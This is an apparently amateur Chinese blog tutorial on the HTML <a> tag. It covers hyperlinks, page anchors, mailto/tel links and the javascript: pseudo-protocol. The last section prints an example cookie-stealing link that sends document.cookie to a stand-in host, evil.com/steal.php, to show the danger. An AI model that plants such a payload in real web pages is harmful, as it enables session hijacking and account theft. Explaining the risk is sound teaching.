HTML 标签

2018-09-01 本文已影响0人 MangfuStudio

标签简介

<a>标签的全称叫anchor(锚)，现在网页中一般用来定义一个超链接
但除此之外，<a>标签还有其他一些功能。

功能

超链接
锚点
调用电话API接口
协议限定符

功能1 -- 超链接

超链接使用<a>标签的 href属性完成

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>a 标签</title>
</head>
<body>
    <!--一个访问百度首页的超链接-->
    <a href="https://www.baidu.com/">访问百度</a> 
</body>
</html>

超链接运行结果

功能2 -- 锚点

上代码前先看下面GIF图

快速回到顶部

从上面可以看到，当浏览网页时，我可以点击小火箭快速回到页面顶部。
这个怎么实现的呢？

在浏览器看下源码

源码额。。。。虽然它实现的方式与我接下来要实现的方法的不一样，但我们用<a>也可以做到

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>a 标签</title>
</head>
<body>
    <!--给div一个ID-->
    <div id="head" style="width:100px;height:50px;background-color:red"></div>

    <!--这里省略100个 hr 标签-->

    <div style="width:100px;height:50px;background-color:black"></div>

    <!--根据ID回到顶部-->
    <a href="#head">回到页面顶部</a> 
</body>
</html>

页面大概是这样的

页面
当我点击页面中的"回到页面给顶部" 链接时会回到页面顶部

点击回到顶部

简单点理解就是用 a 标签来跳转，超链接是跳到其他链接，锚点是跳转到页面某一个位置

功能3 -- 电话API（这个功能比较好玩）

我们经常会在一些网站上看到一些邮箱或者电话号码，当点击时会调用系统中相关的软件，例如点击邮箱，会调用电脑中的邮件处理软件。下面以美团的网站为例。点击反馈邮件的地址会调用系统中的邮件处理软件。

美团-测试查看源码

源码从源码看到，href 属性的值不是一个链接，而是 mailto:邮箱地址的格式。这其实是一个 mailto 链接

什么是mailto链接?

Mailto链接是一种HTML链接，用于激活计算机上用于发送电子邮件的默认邮件客户端。Web浏览器需要在其计算机上安装默认的电子邮件客户端软件才能激活电子邮件客户端。

知道原理，现在我们来试下自己用<a>搞个一模一样的效果出来，看下面网页源码

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>a 标签</title>
</head>
<body>
    发送邮件到：<a href="mailto:rebell0003@gmail.com">rebell0003@gmail.com</a>
</body>
</html>

mailto链接

邮件可以发，那号码？，没错，手机号码也是可以的，只不过是把 href 属性中（mailto:邮箱地址）改为（tel:手机号码）而已。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>a 标签</title>
</head>
<body>
    拨打电话：<a href="tel:13266419102">13266419102</a>
</body>
</html>

为了真实，在实机上跑，我用投屏软件录屏（打死不用模拟器）

运行结果
既然可以这样，嗯哼，我突然有个大胆的想法

不得了的灵感干嘛不把联系人码在HTML代码中呢，小巧又方便，不用软件管理联系人，方便又爽快。哈哈，没错，我已经这样做了(我真是个天才)

功能4 -- 协议限定符（这个功能有点危险）

此功能可以在点击链接时强制执行 JavaScript 代码。例如：如果攻击者有能力在你浏览的网页中植入下面的链接

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>a 标签</title>
</head>
<body>
    <!--点击此链接时会获取 cookie 会话到 http://www.evil.com/ 域名下的 steal.php 脚本-->
    <a href='javascript:new Image().src="http://www.evil.com/steal.php?cookie="+escape(document.cookie) '>点我</a>
</body>
</html>

当你好奇点击上面给出的链接时，你当前浏览页面所有有权访问的 cookie 都会被发送到 "www.evil.com/steal.php"这个php脚本处理。
攻击者得到cookie可以干嘛呢，想知道得到cookie可以干嘛，得先了解cookie是什么：

cookie是网站留在你浏览器中的一小段文本信息，有兴趣得可以打开来看下

现在一些网站会直接把用户信息留在cookie中，如果攻击者得到你的cookie后做这么，上网搜下就知道了，哈哈。

总结

<a>功能如下

超链接
锚点
调用电话API接口
协议限定符